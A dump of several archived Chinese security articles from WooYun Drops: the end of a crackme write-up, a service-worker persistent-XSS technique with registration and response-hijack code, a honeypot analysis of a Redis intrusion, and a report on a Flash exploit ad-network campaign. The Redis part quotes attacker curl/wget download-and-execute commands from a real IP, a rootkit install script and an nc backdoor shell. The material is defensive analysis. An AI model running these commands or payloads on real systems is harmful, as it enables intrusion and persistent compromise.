用十六进制编辑器打开vm_file文件，取出0x80到0x17F偏移处的256个随机字节，我们可以把它称之为Random。将用户输入的密码每个字节都跟Random异或运行，然后跟vm_file文件在0x240偏移处预定的数组做比较。 169 | 170 | 我在下面引用一节中已经给出了一个密码生成器。编译执行它便可获得正确的密码： 171 | 172 | ![](http://static.wooyun.org//drops/20151014/2015101405203757665picture9.png) 173 | 174 | # 0x06 引用 175 | 176 | * * * 177 | 178 | * [VM source code](https://gist.github.com/SouhailHammou/6b4069b07e538a48bb70) 179 | * [Opcodes file (vm_file)](https://mega.nz/#!sVwxEKjD!LOmwg8_XFWMV0dMRcLdea4OQ6Bluo8bUpqXyZdWbLuw) 180 | * [Hex dump of vm_file for those who don’t want to download it](https://gist.github.com/SouhailHammou/d306c9127df6c53d2eda) 181 | * [Solution code](https://gist.github.com/SouhailHammou/71c06a12c3d3cebd437b) 182 | 183 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/变种XSS：持久控制.md: -------------------------------------------------------------------------------- 1 | # 变种XSS：持久控制 2 | 3 | [ tig3r](/author/tig3r) · 2015/11/30 10:42 4 | 5 | # 0x00 引言 6 | 7 | * * * 8 | 9 | 首先声明，这不是一个新洞，看过 Homakov 文章（最后附）以及译文的人想必对这种漏洞有所了解。 10 | 11 | 但原文写的太过简单（没有说明利用条件、情景和特性），且译文和我的理解略有偏差，于是就有了这篇文章。 12 | 13 | 这种漏洞已经存在一段时间了，有没有被利用过尚不得知，虽然利用条件较苛刻，但是当符合条件的站点被攻击后， 影响面和影响程度巨大，并且普通用户不知如何清除,可导致长期持续攻击。 14 | 15 | 2014年底的时候，这种漏洞的利用条件没有现在苛刻（比如没有`Service-Worker-Allowed`头），一年过来 W3C对规范优化了不少（包括安全方面）， 相信不久的将来，很快会被标准更新所扼杀了。 16 | 17 | 弥留之际，让这个漏洞放点异彩吧。 18 | 19 | # 0x01 一切都从 serviceWorker 说起 20 | 21 | * * * 22 | 23 | > Service Worker是基于Web Worker的事件驱动的，他们执行的机制都是新开一个线程去处理一些额外的，以前不能直接处理的任务。对于WebWorker，我们可以使用它来进行复杂的计算，因为它并不阻塞浏览器主线程的渲染。而Service Worker，我们可以用它来进行本地缓存，相当于一个本地的proxy。说起缓存，我们会想起我们常用的一些缓存技术来缓存我们的静态资源，但是老的方式是不支持调试的，灵活性不高。使用Service Worker来进行缓存，我们可以用javascript代码来拦截浏览器的http请求，并设置缓存的文件，直接返回，不经过web服务器，然后，做更多你想做的事情。 24 | 25 | * 我们可以用 javascript 代码来拦截浏览器的 http 请求，并设置缓存的文件，直接返回 26 | 27 | 相信很多人看到这句已经明白了，通过 js 来代理浏览器 http 请求，也就是说通过执行 js 代码来控制浏览器的请求， 很容易想到，利用 xss来修改浏览器请求的返回内容。 28 | 29 | 可怕的是，即便 xss 漏洞被修复了，攻击仍然持续，并且渗透到攻击范围内的每一个 url。 30 | 31 | 并且，当用户察觉到攻击，并且理解这种攻击，进入chrome后台（chrome://appcache-internals），进行手动清除攻击缓存，攻击仍未失效！当然了，还是有办法清除的，且无须用户手工操作（下文会演示）。 32 | 33 | # 0x02 漏洞原理和演示 34 | 35 | * * * 36 | 37 | `serviceWorker` 的官方标准文档： 38 | 39 | 其操作可以参考： 40 | 41 | 首先 serviceWorker 只有在 https 页面中才可以调用 regist。 42 | 43 | 而 serviceWorker 需要 Promise 支撑，目前支持的浏览器如下： 44 | 45 | ![](http://static.wooyun.org//drops/20151130/2015113002225494696promise.png) 46 | 47 | 支持 serviceWorker 的浏览器： 48 | 49 | ![](http://static.wooyun.org//drops/20151130/2015113002225012134serviceWorker.png) 50 | 51 | firefox 默认关闭 serviceWorker，可以通过 about:config 打开开关： 52 | 53 | ![](http://static.wooyun.org//drops/20151130/2015113002221882185firefox.png) 54 | 55 | 支持 fetch 方法（抓包）的浏览器： 56 | 57 | ![](http://static.wooyun.org//drops/20151130/2015113002224889637fetch.png) 58 | 59 | * * * 60 | 61 | ## 开始尝试攻击： 62 | 63 | 首先在 https 站点中找到一个 Xss，利用 Xss 注册一个 `serviceWorker.registration` 实例： 64 | 65 | 66 | 67 | #!js 68 | navigator.serviceWorker.register(url).then(function(registration) { 69 | console.log(registration); 70 | }); 71 | 72 | 73 | 注意到有个未知参数 url，这个 url 就是拿来放我们的攻击代码（假设我们能上传一个js到根目录）： 74 | 75 | 76 | 77 | #!js 78 | var url = '//victim.com/evil.js' 79 | 80 | 81 | 有人说这太难了，往根目录上传 js 文件不可能，那么可以尝试在子目录/任何一个可能的目录上传js文件， 或者和 Homakov 一样，利用 jsonp接口来代替这个恶意 js 文件。 82 | 83 | serviceWorker.register 只支持请求文件返回头的MIME类型为：`text/javascript,application/x-javascript, application/javascript`。 84 | 85 | 我们知道，jsonp 的 callback 经常是可控的，那么找到一个这样可以写代码的 jsonp 难不难？ 86 | 87 | Google it ! 88 | 89 | ![](http://static.wooyun.org//drops/20151130/2015113002220552592taobao1.png) 90 | 91 | 点击第一个链接： 92 | 93 | ![](http://static.wooyun.org//drops/20151130/2015113002220284370taobao2.png) 94 | 95 | 可以看到，以 taobao.com 为例，第一个 jsonp 接口就存在这样的弱点：callback 可以写入任意代码。 96 | 97 | 退一步说，只要能输入 []!() 等几个符号，就能构造任意代码了。 98 | 99 | 以往安全工程师修复 jsonp 接口的 xss 漏洞，都是将页面的 `mime` 修改为 `application/javascript`， 或者将callback 的参数中的html符号实体转义，就觉得杜绝 xss 了，看来以后得换个修法了 100 | 101 | 若 callback 仅仅代表一个函数名，何不只允许数字、字母和下划线呢？ 102 | 103 | ## 往 “js/jsonp接口” 里写入恶意代码： 104 | 105 | 106 | 107 | #!js 108 | onfetch = function(e) { 109 | e.respondWith(new Response('任意内容',{ 110 | headers 111 | ... 112 | }); 113 | ); 114 | } 115 | 116 | 117 | 通过 onfetch 方法拦截 http 请求，并构造返回内容，比如返回：`` 118 | 119 | 所有在 evil 路径下的请求的内容都被篡改。 120 | 121 | * * * 122 | 123 | 让我们本地测试还原一遍场景（注意：本地测试不需要 https）： 124 | 125 | 首先打开网站： 126 | 127 | ![](http://static.wooyun.org//drops/20151130/2015113002222087646138.png) 128 | 129 | 打开正常页面： 130 | 131 | ![](http://static.wooyun.org//drops/20151130/2015113002221550058230.png) 132 | 133 | 这时候点击被攻击页面，此页面事先被注入了 XSS 脚本： 134 | 135 | ![](http://static.wooyun.org//drops/20151130/2015113002221379624327.png) 136 | 137 | 可以看到，这时候 serviceWorker 已经成功注册了 138 | 139 | 刷新页面，此时返回内容以及被修改了： 140 | 141 | ![](http://static.wooyun.org//drops/20151130/2015113002224641169424.png) 142 | 143 | 这时候再看正常页面，也被攻击了： 144 | 145 | ![](http://static.wooyun.org//drops/20151130/2015113002224337064516.png) 146 | 147 | 首页也是相同的情况： 148 | 149 | ![](http://static.wooyun.org//drops/20151130/2015113002224072972613.png) 150 | 151 | 关闭浏览器，再打开，依旧如此： 152 | 153 | ![](http://static.wooyun.org//drops/20151130/2015113002223822188712.png) 154 | 155 | ### 0x03 优势、局限性 156 | 157 | * 优势 158 | * 生存周期久（即便浏览器重启还在） 159 | * 一旦中招不易清除，包括用户和网站业务方 160 | * 局限性 161 | * 需要同域中同时存在 XSS 和弱点 JSONP（或可控js文件） 162 | * 感染路径受弱点 js 路径的限制 163 | * 被攻击站点必须是 https 164 | 165 | 实际利用中，若弱点JSONP路径中不存在网站业务，这个漏洞依然能发挥一定价值。 166 | 167 | 比如：杀死该JSONP路径以及其子目录的全部接口，从而导致网站无法正常使用。 168 | 169 | # 0x04 中止及防范攻击 170 | 171 | * * * 172 | 173 | ## 1\. 如何中止攻击 174 | 175 | 从上文可以知道，即便 xss 被修复了或者消失了，攻击依然生效，那么如何中止攻击呢？ 176 | 177 | 作为一个普通用户，首先尝试打开 chrome://inspect/#service-workers 查看存活： 178 | 179 | ![](http://static.wooyun.org//drops/20151130/2015113002223545970810.png) 180 | 181 | 的确可以看到被用作攻击的 Worker，点击 terminate 尝试中止： 182 | 183 | ![](http://static.wooyun.org//drops/20151130/201511300222304015598.png) 184 | 185 | ![](http://static.wooyun.org//drops/20151130/2015113002223280124107.png) 186 | 187 | 可以看到以及被清理了，但是打开页面，攻击仍然存在！ 188 | 189 | ![](http://static.wooyun.org//drops/20151130/20151130022210608211113.png) 190 | 191 | 浏览器中打开`F12`，在`console`中输入：`navigator.serviceWorker.`， 可以看到有 getRegistration 和getRegistrations 这两种属性。 192 | 193 | 查询文档： 194 | 195 | 尝试获取注册器，并且调用注销（由于用到 Promise，需要使用 then 调取结果）： 196 | 197 | 198 | 199 | #!js 200 | navigator.serviceWorker.getRegistration() 201 | .then(function(registration) { 202 | registration.unregister(); 203 | }); 204 | 205 | 206 | ![](http://static.wooyun.org//drops/20151130/20151130022226965761211.png) 207 | 208 | ![](http://static.wooyun.org//drops/20151130/2015113002222463926139.png) 209 | 210 | 这一次终于清除了。 211 | 212 | 而对于网站方，如何清除所有攻击呢？ 213 | 214 | 只要将“清除代码”部署在一个未受感染的同域的页面里，当用户访问过后，自然就清除了。 215 | 216 | ## 2\. 防范方法： 217 | 218 | 1. Jsonp 接口的 callback 可以做白名单，或者只允许特定字符（比如数字、字母和下划线）。 219 | 2. Jsonp所在域不应该存在 XSS（一切类型），至少不应该存在业务页面。 220 | 3. 如果做不到2，Jsonp 所在 url 路径下不应该存在网站业务。 221 | 4. 域名内不应存在用户可控的 js 文件。 222 | 223 | ### reference: 224 | 225 | * 226 | * 227 | * 228 | * 229 | * 230 | 231 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/Redis后门植入分析报告.md: -------------------------------------------------------------------------------- 1 | # Redis后门植入分析报告 2 | 3 | [ 唐朝实验室](/author/唐朝实验室) · 2015/11/13 18:32 4 | 5 | **唐朝实验室蜜网项目组** 6 | 7 | # 0x00 概述 8 | 9 | * * * 10 | 11 | redis是一款基于内存与硬盘的高性能数据库，在国内外被大型互联网企业、机构等广泛采用。但其一些安全配置经验却不如“LAMP”等成熟，所以很多国内企业、机构的redis都存在简单的空口令、弱密码等安全风险。 12 | 13 | 11月10号，国外安全研究者的一份文档展示，redis在未进行有效验证，并且服务器对外开启了SSH服务的前提下，攻击者有可能恶意登录服务器甚至进行提权操作（root权限） 14 | 15 | 通过与一些企业机构的沟通，已经发现了大量扫描与自动化攻击痕迹。 16 | 17 | 唐朝实验室蜜网项目组于11月10号的晚上对蜜罐系统进行了更新，加入了redis服务，经过一个晚上的观测，我们捕获到了一次针对redis的扫描以及攻击，包括攻击者使用的远控。 18 | 19 | 我们的蜜罐纪录显示攻击者通过蜜罐中redis的漏洞进行攻击，进行远程控制程序的植入。 20 | 21 | # 0x01 时间流 22 | 23 | * * * 24 | 25 | 11月10号 晚上11点多我们的蜜罐系统检测一个美国ip到对redis服务的扫描 26 | 27 | 28 | 29 | #!bash 30 | Nov 10 23:07:51 redis[23]: Accepted 104.219.234.226:20572 31 | Nov 10 23:58:26 redis[23]: Accepted 104.219.234.226:4460 32 | Nov 10 23:58:30 redis[23]: Accepted 104.219.234.226:4493 33 | Nov 10 23:58:33 redis[23]: Accepted 104.219.234.226:4797 34 | Nov 10 23:58:36 redis[23]: Accepted 104.219.234.226:5108 35 | Nov 10 23:58:41 redis[23]: Accepted 104.219.234.226:5424 36 | 37 | 38 | 攻击者在登入redis后写入了public key 39 | 40 | 41 | 42 | #!bash 43 | 1.1.1.1:6379> get crackit 44 | "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [[email protected]](/cdn-cgi/l/email-protection)\n\n\n\n” 45 | 46 | 47 | 之后查看了key 48 | 49 | 50 | 51 | #!bash 52 | cat authorized_keys 53 | REDIS0006�0xcafe0b3c6eu30x1447215705654crackitA� 54 | 55 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [[email protected]](/cdn-cgi/l/email-protection) 56 | 57 | 58 | 于11点58分ip `104.219.234.226`登陆了系统并执行了以下命令 59 | 60 | 61 | 62 | #!bash 63 | curl http://85.118.98.197:61050/cyka/blyat/x.x86 > /tmp/ok; wget http://85.118.98.197:61050/cyka/blyat/x.x86 -O /tmp/ok; chmod 777 /tmp/ok; /tmp/ok 64 | 65 | 66 | 该命令通过一个格鲁吉亚的ip `85.118.98.197`下载了样本x.x86 写入`/tmp/ok` 并执行 67 | 68 | 样本x.x86细节见 0x02 69 | 70 | 于11号早上10点10分 攻击者通过远程控制程序在 http://85.118.98.197:61050/root.sh 下载了root.sh脚本并执行 71 | 72 | 73 | 74 | #!bash 75 | #!/bin/sh 76 | 77 | mkdir /tmp/ok/; 78 | cd /tmp/ok/ 79 | curl http://85.118.98.197:61050/k.tgz > /tmp/ok/k.tgz 80 | wget http://85.118.98.197:61050/k.tgz -O /tmp/ok/k.tgz 81 | 82 | tar -xzvf k.tgz 83 | bash vishnu.sh 84 | 85 | curl http://85.118.98.197:61050/done.txt > /dev/null 86 | wget http://85.118.98.197:61050/done.txt -O /dev/null 87 | 88 | 89 | # 0x02 样本分析 90 | 91 | * * * 92 | 93 | **x.x86样本分析** 94 | 95 | 样本大小仅有23k，未经加壳保护，功能多样，并没有很严格的自我保护，初步推断起用途只是初步筛选存在漏洞的主机，同时为下一步植入rootkit做准备。 96 | 97 | 样本首先遍历文件句柄，执行close操作，确保接下来可以成功删除自身。 98 | 99 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310252921990.png) 100 | 101 | 紧接着进行两次fork，避免出现意外而成为僵尸进程。 完成fork后紧接着调用unlink删除自身。 102 | 103 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310252967995.png) 104 | 105 | 执行完以上的初始化任务后，样本会尝试连接`8.8.8.8`的53端口验证网络是否通畅。如果可以连接，紧接着会与`37.220.109.6`的53端口建立tcp连接，开始与c2服务器互发心跳包，等待服务器指令。 106 | 107 | 其中c2服务器IP为硬编码： 108 | 109 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310252974070.png) 110 | 111 | 下图为心跳连接： 112 | 113 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310252912544.png) 114 | 115 | 服务器会不定时主动下发指令，样本会依据收到的指令执行具体动作。 116 | 117 | 下图为其中一个服务器指令的数据包： 118 | 119 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310253045155.png) 120 | 121 | 样本收到指令后的行为如下： 122 | 123 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310253012080.png) 124 | 125 | 解析指令： 126 | 127 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310253032533.png) 128 | 129 | 指令解析完成后会执行对应的函数，当任务完成后会返回至`loc_8049FB6`，等待开始新一轮指令到来。 130 | 131 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310253026013.png) 132 | 133 | 在本次利用过程中，此样本短小精悍，被用作"破门"工具。在利用redis漏洞进入主机后，留下一个仅23k的木马，反弹回主控服务器，服务器再统一下发指令，完成对目标的进一步入侵。 134 | 135 | _k.tgz_ 136 | 137 | 本次活动中，此样本下载了远端服务器的一套完整rootkit级后门源码，试图安装在主机中。 138 | 139 | rootkit来源于github开源项目`https://github.com/chokepoint/azazel` ，经过修改加强后植入主机。 140 | 141 | 本次活动中的rootkit是用户态的rootkit，并没有生成内核模组。但由于hook了绝大多数系统调用，被种上后门之后极其难以发现和清除。 142 | 143 | rootkit通过写入`/etc/ld.so.preload`文件获得优先加载权，覆盖其希望hook的系统调用，导致所有使用动态链接的程序中使用的关键系统调用均被替换，几乎无法对rootkit进行有效的检测和清除工作。其hook之全甚至包括了pcap，所以本机抓包也是发现不了rootkit的。 大量的hook： 144 | 145 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310253088659.png) 146 | 147 | pcap的HOOK： 148 | 149 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310253199121.png) 150 | 151 | 非常有趣的是，这个rootkit还使用了一种有趣的后门开shell的方案，在代码中可以直接通过hook系统的accept函数，当触发到预先定义好的条件时将会调用drop_shell函数来弹出一个shell。 而这个shell使用的端口恰恰在rootkit所隐藏的区间内。 152 | 153 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151113/2015111310253135970.png) 154 | 155 | 随便在无加密shell端口区间内开一个端口（用nc模拟一下） 156 | 157 | 158 | 159 | #!bash 160 | nc -l -p 61041 161 | 162 | 163 | 然后用61042去连接这个61041端口，输入预先设置的口令 164 | 165 | 166 | 167 | #!bash 168 | alkaid@alkaid-VirtualBox:~/azazel/python-pty-shells$ nc 127.0.0.1 61041 -p 61042changeme 169 | Welcome! 170 | Here's a shell: root@alkaid-VirtualBox:/home/alkaid/azazel/python-pty-shells# 171 | 172 | 173 | 也就是说直接在任意端口上开了个后门，如果使用的端口号位于azazel 隐藏区间，还可以避免被发现。 174 | 175 | 当然也有加密方式的端口后门和区间，有兴趣可以去试一下azazel官方文档上socat的连接方式。 176 | 177 | 本次活动中截获的样本，本质上是使用azazel开源项目隐藏自己的后门。但不得不说的是，这个后门作者非常聪明地将自己的后门和azazel项目紧密结合起来，由一个巧妙但并不难发现的后门一跃而成为了rootkit级别的高危恶意软件。在这次活动中我们还发现了比较不同寻常的一点，以往的恶意软件部署绝大多数都是采用脚本或根据平台直接部署二进制文件，而自一次，攻击者却使用第一次打入的远程控制软件下载了rootkit的全套源码，在受害主机上完成整个编译安装的过程。同时攻击者似乎对肉鸡有些洁癖，在源码中我们发现一个名为“kill-other”的脚本 ，其作用是清除其他入侵者留下的木马，确保肉鸡的唯一控制权。 178 | 179 | # 0x03 redis自查建议 180 | 181 | * * * 182 | 183 | 请企业近期额外注意redis服务器的异常。自查方法：查看redis服务的认证机制，是否无认证或弱口令；同时检查redis服务roor的.ssh目录下是否出现非法的KEY 184 | 185 | # 0x04 附录 186 | 187 | * * * 188 | 189 | **样本md5** 190 | 191 | x.x86 9101e2250acfa8a53066c5fcb06f9848 192 | 193 | k.tgz bd3ac812281c0d9a378383dd934a6013 194 | 195 | **ip** 196 | 197 | 104.219.234.226 198 | 199 | 85.118.98.197 200 | 201 | 37.220.109.6 202 | 203 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/广告联盟变身挂马联盟 HackingTeam漏洞武器袭击百万网民.md: -------------------------------------------------------------------------------- 1 | # 广告联盟变身挂马联盟 HackingTeam漏洞武器袭击百万网民 2 | 3 | [ 360安全卫士](/author/360安全卫士) · 2015/11/23 13:58 4 | 5 | # 0x00 情况介绍 6 | 7 | * * * 8 | 9 | 在11月初，360互联网安全中心监控到一款名为“**restartokwecha**“的下载者木马拦截量暴增,而对其溯源发现，木马竟然来自PConline（太平洋电脑网），1ting（一听音乐网），stockstar（证劵之星）等一批知名网站。对这些网站进行分析发现，网站广告位展示的广告中包含了Hacking Team泄露的Flash漏洞中的一个漏洞利用挂马（CVE-2015-5122）。而该下载者木马，除了在用户计算机上安装多个恶意程序外，还会推广安装多款知名软件。由于国内大量电脑仍然没有及时升级Flash插件，造成木马可以大规模传播。 10 | 11 | 360互联网安全中心在今年，已经多次捕获到国内大规模挂马行为，包括今年5月底的播放器广告位CVE-2014-6332挂马，今年7月中旬皮皮影音等CVE-2015-5122挂马，今年10月初，多家知名网站CVE-2015-5122Flash漏洞挂马。这些挂马事件，影响用户均超过百万，都是利用国内知名厂商平台进行传播，而幕后金主也包括国内多家大厂商。 12 | 13 | # 0x01 攻击原理 14 | 15 | * * * 16 | 17 | 此类木马攻击，一般通过3种方式传播其木马站点，分别是**攻击其他网站挂马；自建木马站点**，通过广告链接SEO等导入流量；通过网站/联盟广告位方式挂马。 18 | 19 | 例如，像下面这种，利用网站对发帖内容审核不严的问题，在帖子中加入其它站点的Flash元素，对网站进行挂马。 20 | 21 | ![](http://static.wooyun.org//drops/20151123/2015112305241215948128.png) 22 | 23 | 攻击者只需要在用户访问的页面中插入一个攻击者设定的Flash元素，即可完成攻击。而Flash内容，做为网页的富媒体内容，在互联网中有广泛应用，如果平台对媒体内容审核不严，极有可能出现被恶意利用，网站挂马的情况。 24 | 25 | 挂马网站攻击流程： 26 | 27 | ![](http://static.wooyun.org//drops/20151123/2015112305241487053224.png) 28 | 29 | # 0x02 案例分析 30 | 31 | * * * 32 | 33 | 对此次挂马事件，PConline因为整站挂有此类木马，受影响用户最多，我们以PConline为例做了分析，国内还有多家知名网站也存在同样问题。 34 | 35 | ## 挂马页面分析 36 | 37 | PConline被挂马，是因为其使用了“海云互通”广告联盟的广告内容，这个广告联盟为攻击者提供了广告推广的服务，最终造成在PConline的页面中嵌入木马的效果。 38 | 39 | 首页，PConline的主站，使用了自己站点pcauto下的内容： 40 | 41 | ![](http://static.wooyun.org//drops/20151123/2015112305241695454324.png) 42 | 43 | Pcauto使用vamaker（万流客）管理其广告流量： 44 | 45 | ![](http://static.wooyun.org//drops/20151123/2015112305242443225420.png) 46 | 47 | 之后可以看到，vamaker引入了qtmojo（宽通广告）的代码，而宽通广告带入了出问题的“海云互通”（haiyunx）广告联盟内容： 48 | 49 | ![](http://static.wooyun.org//drops/20151123/2015112305242684415514.png) 50 | 51 | 最终，我们在“海云互通”的代码中发现了接入木马服务器zyxtx.cn的代码： 52 | 53 | ![](http://static.wooyun.org//drops/20151123/2015112305242879347611.png) 54 | 55 | ![](http://static.wooyun.org//drops/20151123/2015112305242956522710.png) 56 | 57 | 攻击者对其代码进行了重新编码，如图所示数组，即为其引入木马的隐藏代码： 58 | 59 | ![](http://static.wooyun.org//drops/20151123/201511230524315775088.png) 60 | 61 | **对这段代码进行解码之后，可以看到。攻击者为了达到隐藏攻击代码的意图，会在页面中引入一个游戏的Flash资源，将攻击代码伪装成“正常的游戏Flash页面”，在后面又悄悄引入了一个挂马Flash资源：** 62 | 63 | ![](http://static.wooyun.org//drops/20151123/201511230524334861396.png) 64 | 65 | 在打开这个页面时，将展示一个正常的游戏页面，攻击代码则会在后台悄悄执行： 66 | 67 | ![](http://static.wooyun.org//drops/20151123/2015112305243732704104.png) 68 | 69 | 在对此攻击进行分析时，这个木马服务器还挂着其它木马： 70 | 71 | `218.186.59.89:8888` 72 | 73 | ![](http://static.wooyun.org//drops/20151123/20151123052448522121111.png) 74 | 75 | **通过这种对页面代码做编码和伪装的方法，攻击者成功绕过了广告联盟和各大网站的审核（如果有的话~~），加挂马的代码通过各大网站展示给了普通计算机用户。如果用户访问到了这些网站，而又没打好补丁的话，就极有可能感染木马。** 76 | 77 | ## 挂马漏洞分析 78 | 79 | 此次挂马，攻击者使用的仍然是之前Hacking Team泄露的CVE-2015-5122Flash漏洞，如果用户计算机中的Flash版本仍然是18.0.0.209之前的版本，就会触发漏洞执行。对应的挂马Flash文件在一个月内，更新了超过20次： 80 | 81 | ![](http://static.wooyun.org//drops/20151123/2015112305245089382129.png) 82 | 83 | 此挂马文件在VirusTotal上只有McAfee和360能够检出： 84 | 85 | ![](http://static.wooyun.org//drops/20151123/2015112305245856321135.png) 86 | 87 | swf样本用doswf加密过，解密之后，可以看到该样本的源码如下： 88 | 89 | ![](http://static.wooyun.org//drops/20151123/2015112305250091426144.png) 90 | 91 | 漏洞触发代码如下： 92 | 93 | ![](http://static.wooyun.org//drops/20151123/2015112305250219767153.png) 94 | 95 | 通过对源码的跟踪，便能发现是cve-2015-5122的样本。 96 | 97 | 在漏洞触发后使用的payload如下： 98 | 99 | ![](http://static.wooyun.org//drops/20151123/2015112305250430345163.png) 100 | 101 | 反汇编出来的shellcode如下： 102 | 103 | ![](http://static.wooyun.org//drops/20151123/2015112305250662278173.png) 104 | 105 | 通过对shellcode进行调试分析发现该样本将会从file.nancunshan.com下载木马到本地浏览器临时目录，生成文件wecha_159_a.exe，并执行 106 | 107 | ![](http://static.wooyun.org//drops/20151123/2015112305250725316182.png) 108 | 109 | 关于漏洞的详细分析，可以看我们之前的分析《Hacking Team攻击代码分析Part 4: Flash 0day漏洞第二弹 –CVE-2015-5122》（） 110 | 111 | ## Payload分析 112 | 113 | 此次挂马的传播木马，和以往几次大规模挂马类似，仍然是一个做为流氓软件推广器使用的下载者，这个下载者木马的制作手段老练，属于专业木马团伙制作。 114 | 115 | 1. 此木马更新速度很快，高峰时每小时都会更新一次文件，用来快速躲避查杀和监控。1. 116 | 117 | 2. 会检测和判断环境，在发现是虚拟机测试机的情况下，不执行作恶代码，躲避分析。1. 118 | 119 | 3. 频繁变更下载域名，躲避查杀。 120 | 121 | 木马的统计和下载域名： 122 | 123 | ![](http://static.wooyun.org//drops/20151123/2015112305250915677192.png) 124 | 125 | 木马的功能选项，包括弹广告，下载文件，重启程序，自删除等： 126 | 127 | ![](http://static.wooyun.org//drops/20151123/2015112305251057190202.png) 128 | 129 | 木马会枚举当前系统的进程列表，如果遇到虚拟机，影子系统，网吧等时，不执行下载者的功能。 130 | 131 | ![](http://static.wooyun.org//drops/20151123/20151123052512521612110.png) 132 | 133 | 木马的下载列表也进行了编码，用来对抗分析： 134 | 135 | ![](http://static.wooyun.org//drops/20151123/2015112305251377402225.png) 136 | 137 | 对这份列表进行解码，可以看到国内多款知名软件在列： 138 | 139 | ![](http://static.wooyun.org//drops/20151123/2015112305251546413233.png) 140 | 141 | 下载者运行的进程树情况： 142 | 143 | Process Tree 144 | 145 | * iexplore.exe 2404 146 | * iexplore.exe 2600 147 | * wecha_159_a.exe 2944 148 | * restartokwecha_159_a.exe 3092 149 | * xwiklit_552_setup.exe 3524 150 | * ADSafe.29096-2.exe 3756 151 | * cqss_1116.exe 1040 152 | * cq1.76.exe 2832 153 | * setup_B63_1.exe 3908 154 | * duba_3_802.exe 2628 155 | * QQPCDownload72845.exe 3116 156 | * MTViewbuildmtview_97.exe 520 157 | * 1.0.003-Install_121_123.exe 3460 158 | * KcProc.exe 1924 159 | * jywset_65_6.exe 3624 160 | 161 | 推广的内容中，还包括快查这类恶意程序。 162 | 163 | 注入系统进程，后台隐藏执行： 164 | 165 | ![](http://static.wooyun.org//drops/20151123/2015112305251646179244.png) 166 | 167 | ![](http://static.wooyun.org//drops/20151123/2015112305251828426253.png) 168 | 169 | 创建虚假浏览器快捷方式，篡改用户首页： 170 | 171 | ![](http://static.wooyun.org//drops/20151123/2015112305251921886263.png) 172 | 173 | 安装广告插件，在用户计算机不断弹出各类广告： 174 | 175 | ![](http://static.wooyun.org//drops/20151123/2015112305252113057274.png) 176 | 177 | ![](http://static.wooyun.org//drops/20151123/2015112305252295983284.png) 178 | 179 | 此类下载者木马，由于其推广列表云控，推广内容也在不断免杀更新。攻击者通过不断向用户计算机推广各类软件，疯狂榨取用户计算机资源，赚取推广费。 180 | 181 | # 0x03 数据统计 182 | 183 | * * * 184 | 185 | 此次大规模网页挂马，从十一月初开始，和上一轮大规模挂马（10月初的广告联盟挂马事件）为同一伙人所为。在之前挂马被杀之后，攻击者又卷土重来。根据360互联网安全中心统计，此次挂马，单日挂马页面拦截量超过170万次，单日受影响用户将近30万。单日木马拦截量超过4万次。 186 | 187 | 近期CVE-2015-5122挂马页面拦截量： 188 | 189 | ![](http://static.wooyun.org//drops/20151123/2015112305252416018294.png) 190 | 191 | 20日，单日木马拦截量变动 192 | 193 | ![](http://static.wooyun.org//drops/20151123/2015112305252541927304.png) 194 | 195 | 受影响用户，分布情况： 196 | 197 | ![](http://static.wooyun.org//drops/20151123/20151123052439442223110.png) 198 | 199 | # 0x04 解决方案 200 | 201 | * * * 202 | 203 | 目前，我们在拦截挂马页面攻击的同时，已经联系广告联盟，去除带有挂马攻击的广告页面，要求联盟加强审核。 204 | 205 | 对于广大网民来说，应及时更新系统和浏览器中的Flash插件，打好安全补丁，切莫被“打补丁会拖慢电脑”的谣言误导。对于没有更新Flash插件的浏览器，应该暂时停用。同时可以安装具有漏洞防护功能的安全防护软件，应对各类挂马攻击。 206 | 207 | 对于国内各大软件厂商和网站/网盟平台厂商，也应该加强自身审核，不要让自身渠道成为木马传播的帮凶，严格审核平台中出现的广告内容，防止广告挂马。各个软件厂商，也需要规范自身推广渠道，不要成了木马黑产的幕后金主！ 208 | 209 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/IE安全系列之——IE中的ActiveX（II）.md: -------------------------------------------------------------------------------- 1 | # IE安全系列之——IE中的ActiveX（II） 2 | 3 | [ blast](/author/blast) · 2015/12/04 10:21 4 | 5 | # 0x00 使用Fuzz工具 6 | 7 | * * * 8 | 9 | 